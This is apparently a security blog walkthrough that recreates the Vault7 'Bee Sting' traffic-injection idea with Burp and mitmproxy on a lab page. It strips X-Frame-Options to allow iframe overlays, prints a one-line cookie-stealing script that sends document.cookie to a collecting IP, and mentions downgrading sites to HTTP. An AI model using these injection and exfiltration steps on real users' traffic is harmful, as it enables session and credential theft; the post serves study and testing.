Intro
Continuing to look through Vault7, we can find Bee Sting. A simple idea, we have a proxy that traffic goes to and fro through and, on certain websites, instead of legitimate responses being returned we send back a modified response which has "reconstructed the IP header and calculated the new checksum, reconstructed the TCP header with the new payload size and calculated the checksum and modified the HTTP protocol content-Length to correlate with the new payload size." This should be invisible to the end user and accomplishes our goal of stealing credentials, sending to a fake download site, or another alternative goal.
PoC
Lets start by breaking down how very simple web requests typically work. Once you get done negotiating the encryption details, your web browser sends a GET request for the websites root directory, typically represented by /index.html.
The website responds, if everything has been negotiated correctly, with the website details. We've got a status code "HTTP/2 200 OK" and some additional headers like the content-length.
Here is where we can inject our payload. This type of attack is known as a Cross-Frame Scripting attack. OWASP has a great cheat sheet on this which you can find in this link. Well be using their example HTML to construct our example attack. Back on Burp, let's try browsing to culbertreport.com again, but this time let's inject an iFrame.
We've now got our iFrame added, only changing the example.com address to Google.com. And what does the client get in return? Nothing.
Google refused to allow us to add them in an iFrame. What can we do here to get around this? Google uses a header feature called X-Frame-Options: SAMEORIGIN which prevents us from embedding their site in an iFrame. If you're curious, you can read more about them here.
So let's remove that. Viola! Once we removed that annoying header, we were able to embed their website in an iFrame overlaying our own site.
Test Proxy
We've shown how to add an iFrame to a request and how to circumvent preventive measures. The next step is to automate this so that any web request returning 200 OK gets our code added on to it. For this, mitmproxy does a lot of what we want right out of the box. There's good examples here and we'll be referencing them. The code is fairly simple, we'll be using mitmproxy to inject some javascript into any HTTP page that's loaded through it.
This will append our OVERLAY_JS to the end of any webpage that's loaded. Now, if we start mitmproxy with the -s flag, pass proxy.py to it, and route our browser through it, we'll see our new alert.
Javascript can do a lot more than just create annoying pop-up windows though, so let's try something more interesting and steal some pretend cookies. Cookie stealers are a common attack deployed in the wild. Google wrote up a detailed post on a campaign from October 2021 that targeted YouTube creators, Kaspersky found a campaign in 2020 that was targeting Android devices, and ZDNet analyzed a North Korean APT back in 2018 that was stealing cookies and passwords with a Chrome extension. For our pretend site, we'll use the default Apache2 page and add a little line at the bottom
<script>document.cookie = "username=Null Byte";</script>
This just passes our static username variable in a cookie to anyone who visits. Next we'll adjust the javascript payload in our proxy to something designed to steal this.
<script> document.location='http://192.168.202.141?c='+document.cookie;</script>
Then we'll just use Pythons simple http.server module on the receiving host to print out the cookie. Now when we browse to the site again, our cookie gets stolen.
If you want to try this on a real site, you can force it to negotiate in HTTP by stripping the Upgrade-Insecure-Requests header, but this is a little heavy handed and obvious to end users if you wanted to use this in an engagement. If you want to take this a step further, you can look at how mitmproxy handles SSL/TLS because the documentation for it outlines that this is supported for web requests. For now though, this was a fun proof of concept. We didn't fully implement the CIAs vision in this example, but javascript can accomplish the same thing as an iFrame so it is a fairly close comparison.